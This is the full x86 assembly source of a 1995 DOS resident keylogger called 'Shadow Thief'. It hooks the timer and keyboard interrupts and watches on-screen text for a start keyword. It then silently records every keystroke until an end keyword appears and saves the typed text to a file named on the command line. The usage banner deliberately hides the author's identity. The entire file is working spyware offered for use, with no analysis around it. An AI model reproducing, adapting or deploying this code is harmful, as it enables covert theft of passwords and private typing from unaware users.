; shadow.asm By Michael Kohn
; October 5,1995

.model tiny 

.code

start:
  jmp Installation

wsear:
  inc si               ; a recursive routine that checks for two words
  add di, 2            ; being similar (wow! recursion :)
  mov bl, es:[di]
  mov bh, [si]
  cmp bh, 0
  je done
  cmp bl, bh
  jne skipy           ; if difference, then abort recursion and cl=0
  inc cl              ; counts how many similar letters
  call wsear
  jmp done
skipy:
  mov cl, 0
done:
  ; add cl, 48
  ; mov es:6, cl
  ; sub cl, 48
  ret

search:
  mov cl, 0
  mov di, 0
again:
  mov bl, es:[di]
  mov bh, [si]
  cmp bl, bh
  jne skip
  mov cl, 1
  push si
  push di
  call wsear    ; my RECURSIVE routine
  pop di
  pop si
  cmp cl, 0
  jnz notagain
skip:
  add di, 2
  cmp di, 4000
  jne again
notagain:
  ret

oldInt8 label dword
     oldIP dw ?
     oldCS dw ?
oldInt15 label dword
     KeyIP dw ?
     KeyCS dw ?
RaddK label dword
     RaddKIP dw ?
     RaddKCS dw ?
Radd8 label dword
     Radd8IP dw ?
     Radd8CS dw ?

werd db  "This space is for rent!"
nwerd db "More space for rent!!!!"
filename db "Yngwie Malmsteen RULES!",0
handle dw 0
point dw 0
count db 0

.286
myIntHandler:
  pusha
  push ds
  push es
  push cs
  pop ds
  mov ax, 0b800h
  mov es, ax
  cmp count, 0
  jne nit
  lea si, werd
  call search
  cmp cl, 0
  jz noser
  mov count, 1
  jmp noser
nit:
  cmp count, 1
  jne uit
  lea si, nwerd
  call search
  cmp cl, 0
  jz noser
  mov count, -1
  jmp noser
uit:
  cmp count, -1
  jne xit
  mov bp, sp
  mov ax, [bp]+22
  mov Radd8CS, ax
  mov ax, [bp]+20
  mov Radd8IP, ax
  mov [bp]+22, cs
  lea ax, Radd8Tail
  mov [bp]+20, ax
  mov count, 3 
  jmp noser
xit:
  cmp count, 2
  jne noser
  lea si, werd
  call search
  cmp cl, 0
  jne noser
  mov count, 0
noser:
  pop es
  pop ds
  popa
  jmp cs:oldInt8

Radd8Tail:
  pusha
  push ds
  push cs
  pop ds
  ; push es
  ; mov ax, 0b800h
  ; mov es, ax
  ; mov byte ptr es:4, '8'
  ; pop es
  mov ah, 3dh
  mov al, 1
  lea dx, filename
  int 21h
  jnc fileok
  mov ah, 3ch
  mov cx, 0
  lea dx, filename
  int 21h
  jc itsfucked
fileok:
  mov handle, ax
  lea dx, space
  mov cx, point
  sub cx, dx
  mov ah, 40h
  mov bx, handle
  lea dx, space
  int 21h
  mov bx, handle
  mov ah, 3eh
  int 21h
itsfucked:
  mov ax, 0b800h
  ; push es
  ; mov es, ax
  ; mov byte ptr es:2, '*'
  ; pop es
  mov count, 2
  lea di, space
  mov point, di
  pop ds
  popa
  jmp cs:Radd8 

myKeyHandler:
  push ds
  push cs
  pop ds
  ; push es
  ; push ax
  ; mov ax, 0b800h
  ; mov es, ax
  ; mov al, count
  ; add al, 48
  ; mov es:0, al
  ; pop ax
  ; pop es
  cmp count, 1 
  jne dont
  cmp ah, 0
  jne dont
  push bp
  push ax
  mov bp, sp
  mov ax, [bp]+8
  mov RaddKCS, ax
  mov ax, [bp]+6 
  mov RaddKIP, ax
  mov [bp]+8, cs
  lea ax, TailKey
  mov [bp]+6, ax
  pop ax 
  pop bp
dont:
  pop ds
  jmp cs:oldInt15

TailKey:
  cmp al, 0
  jz dontdoit
  push ds
  push cs
  pop ds
  cmp al, 8
  jne notback
  push ax
  lea ax, space
  cmp ax, point
  je outback
  dec point
outback:
  pop ax
  jmp bback
notback:
  mov di, point
  mov [di], al
  inc point
bback:
  pop ds
dontdoit:
  jmp cs:RaddK

space db "This area is gonna be where things are like typed in or something"

error:
  jmp fale

Installation:
  push ds
  pop es
  push cs
  pop ds
  mov si, 80h
skan:
  inc si
  cmp byte ptr es:[si], 13
  je error
  cmp byte ptr es:[si], 32
  jne skan
  lea di, werd-1
skan2:
  inc si
  inc di
  cmp byte ptr es:[si], 13 
  je error
  mov al, es:[si]
  mov ds:[di], al
  cmp byte ptr es:[si], 32
  jne skan2
  mov byte ptr ds:[di], 0
  lea di, nwerd-1
skan8:
  inc si
  inc di
  cmp byte ptr es:[si], 13
  je error
  mov al, es:[si]
  mov ds:[di], al
  cmp al, 32
  jne skan8
  mov byte ptr ds:[di], 0
  lea di, filename-1
skan3:
  inc si
  inc di
  mov al, es:[si]
  mov ds:[di], al
  cmp al, 13
  jne skan3
  mov byte ptr ds:[di], 0
  mov ax, 0b800h
  mov es, ax
  mov si, 25*80*2
cleer:
  mov byte ptr es:[si]-2, 32 
  mov byte ptr es:[si]-1, 7
  sub si, 2
  jne cleer
  mov ax,0
  mov es, ax
  mov bx, es:[4*8]
  mov ax, es:[4*8+2]
  mov oldIP, bx
  mov oldCS, ax
  mov es:[4*8+2], cs
  lea ax, myIntHandler
  mov es:[4*8], ax
  mov bx, es:[4*16h]
  mov ax, es:[4*16h+2]
  mov KeyIP, bx
  mov KeyCS, ax
  mov es:[4*16h+2], cs
  lea ax, myKeyHandler
  mov es:[4*16h], ax
  lea si, space
  mov point, si
  mov dx, 100h
  mov al, 0
  mov ah, 31h
  int 21h

mess1 db "Shadow Thief - By (Yeah Right, I'm not that dumb!)",13,10
      db "Usage: shadow <keyword> <end keyword> <filename>",13,10
      db "$"

 
fale:
  push cs
  pop ds
  lea dx, mess1
  mov ah, 9
  int 21h
  mov ax, 4c00h
  int 21h 
end start